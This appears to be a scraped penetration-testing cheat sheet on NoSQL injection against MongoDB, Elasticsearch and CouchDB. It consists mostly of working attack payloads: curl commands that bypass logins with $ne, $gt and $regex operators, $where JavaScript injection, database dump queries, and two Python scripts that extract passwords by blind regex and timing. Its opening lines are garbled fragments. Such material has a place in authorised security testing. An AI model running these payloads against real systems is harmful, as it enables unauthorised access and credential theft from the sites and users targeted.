NoSQL injection testing for MongoDB, CouchDB, and Elasticsearch including operator injection, authentication bypass, and blind data extraction
NoSQL injection exploits the lack of parameterized queries in document-oriented and key-value databases. Unlike SQL, NoSQL queries use JSON operators, JavaScript evaluation, and document matching — each with distinct injection vectors that are invisible to SQL-focused scanners.
qs parser)MongoError, CastError, BSONTypeError, ValidationErrorqs module (parses from query strings into )user[$ne]={user: {$ne: ""}}/api/login, /api/auth, /api/users, /api/search, /api/filter/api/user/:id, /api/item/:id# JSON body — bypass login with $ne (not equal to empty)
curl -sk https://TARGET/api/login -X POST -H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
# JSON body — bypass with $gt (greater than empty string)
curl -sk https://TARGET/api/login -X POST -H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
# JSON body — regex match all
curl -sk https://TARGET/api/login -X POST -H "Content-Type: application/json" \
-d '{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
# JSON body — $in operator with common usernames
curl -sk https://TARGET/api/login -X POST -H "Content-Type: application/json" \
-d '{"username":{"$in":["admin","root","administrator"]},"password":{"$ne":""}}'
# Express qs module converts these to MongoDB operators automatically
curl -sk "https://TARGET/api/login?username[$ne]=&password[$ne]="
curl -sk "https://TARGET/api/login?username[$gt]=&password[$gt]="
curl -sk "https://TARGET/api/login?username[$regex]=.*&password[$regex]=.*"
curl -sk "https://TARGET/api/users?role[$ne]=guest"
curl -sk "https://TARGET/api/items?price[$lt]=0"
curl -sk "https://TARGET/api/search?query[$regex]=admin"
# $where allows arbitrary JavaScript execution in MongoDB
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"$where":"this.username == \"admin\""}'
# Sleep-based detection
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"$where":"sleep(5000) || true"}'
# Data exfiltration via $where timing
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"$where":"if(this.password.match(/^a/)) sleep(5000)"}'
# $exists — enumerate fields
curl -sk https://TARGET/api/users -X POST -H "Content-Type: application/json" \
-d '{"password":{"$exists":true}}'
# $type — type confusion
curl -sk https://TARGET/api/users -X POST -H "Content-Type: application/json" \
-d '{"admin":{"$type":8}}' # 8 = boolean type
# $elemMatch — array field injection
curl -sk https://TARGET/api/users -X POST -H "Content-Type: application/json" \
-d '{"roles":{"$elemMatch":{"$eq":"admin"}}}'
# $size — array length probing
curl -sk https://TARGET/api/users -X POST -H "Content-Type: application/json" \
-d '{"tokens":{"$size":0}}'
# Query DSL injection
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"query":{"match_all":{}}}'
# Script injection (if scripting enabled)
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"query":{"bool":{"filter":{"script":{"script":"true"}}}}}'
# Wildcard data dump
curl -sk https://TARGET/api/search -X POST -H "Content-Type: application/json" \
-d '{"query":{"wildcard":{"username":{"value":"*"}}}}'
# Mango query injection
curl -sk https://TARGET/_find -X POST -H "Content-Type: application/json" \
-d '{"selector":{"password":{"$regex":".*"}},"fields":["_id","username","password"]}'
# View enumeration
curl -sk https://TARGET/_all_dbs
curl -sk https://TARGET/database/_all_docs?include_docs=true
import requests, string
url = "https://TARGET/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
extracted = ""
for i in range(32):
found = False
for c in charset:
escaped = c.replace("\\", "\\\\").replace(".", "\\.").replace("*", "\\*")
payload = {
"username": "admin",
"password": {"$regex": f"^{extracted}{escaped}"}
}
r = requests.post(url, json=payload, verify=False, timeout=10)
if r.status_code == 200 and "token" in r.text:
extracted += c
print(f"Found: {extracted}")
found = True
break
if not found:
break
print(f"Extracted password: {extracted}")
import requests, time, string
url = "https://TARGET/api/search"
charset = string.ascii_lowercase + string.digits
extracted = ""
for i in range(32):
found = False
for c in charset:
payload = {
"$where": f"if(this.password.charAt({i})=='{c}') sleep(3000); else return true"
}
start = time.time()
try:
r = requests.post(url, json=payload, verify=False, timeout=10)
except:
pass
elapsed = time.time() - start
if elapsed > 2.5:
extracted += c
print(f"Position {i}: {c} (total: {extracted})")
found = True
break
if not found:
break
# PHP converts array params to MongoDB operators
curl -sk "https://TARGET/login.php" -X POST \
-d "username[$ne]=x&password[$ne]=x"
curl -sk "https://TARGET/login.php" -X POST \
-d "username[$regex]=admin&password[$gt]="
curl -sk "https://TARGET/login.php" -X POST \
-d "username=admin&password[$regex]=.*"
$ne, $gt, $regex in both JSON body and query string positionsparam[$operator]=value format in query stringsqs module auto-converts param[$ne]= to MongoDB operators{"username": {"$ne": null}} vs {"username": {"$ne": ""}}$exists operator to enumerate hidden fields (isAdmin, role, permissions, apiKey)$regex with $options: "i" for case-insensitive matching during blind extraction$function, $accumulator (MongoDB 4.4+)